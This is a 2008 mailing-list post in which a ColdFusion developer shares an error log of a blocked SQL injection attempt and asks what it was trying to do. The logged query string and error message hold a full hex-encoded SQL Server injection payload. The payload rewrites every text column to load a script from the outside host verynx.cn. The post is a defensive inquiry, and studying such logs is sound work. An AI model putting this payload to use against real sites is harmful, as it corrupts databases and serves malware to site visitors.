Re: Pre-populate select box causing query error

["psimth" <webforumsuser@xxxxxxxxxxxxxx>]

CFQUERYPARAM caught the following attempt at SQL Injection.

 Would someone please explain what they were trying to do?

 best, paul

 On Tue, Jul 22, 2008 at 7:17 AM,  <psmithsr@xxxxxxxxx> wrote:
 > cgi.content_length
 > cgi.http_accept*/*
 > cgi.http_referer
 > cgi.http_user_agentMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
 > cgi.path_info/index.cfm
 > cgi.path_translatedD:\sites\www.lazydazers.com\html\index.cfm
 > 
cgi.query_stringfa=ShowItem&ID=2168;DECLARE%20@S%20CHAR(4000);SET%20@S=CAST(0x44
45434C415245204054207661726368617228323535292C4043207661726368617228343030302920
4445434C415245205461626C655F437572736F7220435552534F5220464F522073656C6563742061
2E6E616D652C622E6E616D652066726F6D207379736F626A6563747320612C737973636F6C756D6E
73206220776865726520612E69643D622E696420616E6420612E78747970653D27752720616E6420
28622E78747970653D3939206F7220622E78747970653D3335206F7220622E78747970653D323331
206F7220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348
204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C4043205748494C
4528404046455443485F5354415455533D302920424547494E20657865632827757064617465205B
272B40542B275D20736574205B272B40432B275D3D5B272B40432B275D2B2727223E3C2F7469746C
653E3C736372697074207372633D22687474703A2F2F312E766572796E782E636E2F772E6A73223E
3C2F7363726970743E3C212D2D272720776865726520272B40432B27206E6F74206C696B65202727
25223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F312E766572796E782E
636E2F772E6A73223E3C2F7363726970743E3C212D2D272727294645544348204E4558542046524F
4D20205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F534520546162
6C655F437572736F72204445414C4C4F43415445205461626C655F437572736F72%20AS%20CHAR(4
000));EXEC(@S);
 > cgi.remote_addr220.191.251.211
 > cgi.remote_host220.191.251.211
 > cgi.remote_ident
 > cgi.remote_user
 > cgi.server_port80
 > cfcatch.detail
 > cfcatch.messageInvalid data 2168;DECLARE @S CHAR(4000);SET
 > 
@S=CAST(0x4445434C415245204054207661726368617228323535292C4043207661726368617228
3430303029204445434C415245205461626C655F437572736F7220435552534F5220464F52207365
6C65637420612E6E616D652C622E6E616D652066726F6D207379736F626A6563747320612C737973
636F6C756D6E73206220776865726520612E69643D622E696420616E6420612E78747970653D2775
2720616E642028622E78747970653D3939206F7220622E78747970653D3335206F7220622E787479
70653D323331206F7220622E78747970653D31363729204F50454E205461626C655F437572736F72
204645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C40
43205748494C4528404046455443485F5354415455533D302920424547494E206578656328277570
64617465205B272B40542B275D20736574205B272B40432B275D3D5B272B40432B275D2B2727223E
3C2F7469746C653E3C736372697074207372633D22687474703A2F2F312E766572796E782E636E2F
772E6A73223E3C2F7363726970743E3C212D2D272720776865726520272B40432B27206E6F74206C
696B6520272725223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F312E76
6572796E782E636E2F772E6A73223E3C2...
 > for CFSQLTYPE CF_SQL_INTEGER.
 > cfcatch.typeDatabase
 > server.coldfusion.productnameColdFusion Server
 > server.coldfusion.productversion7,0,2,142559
 > server.os.nameWindows 2003
 > server.os.version5.2
 > server.os.buildnumber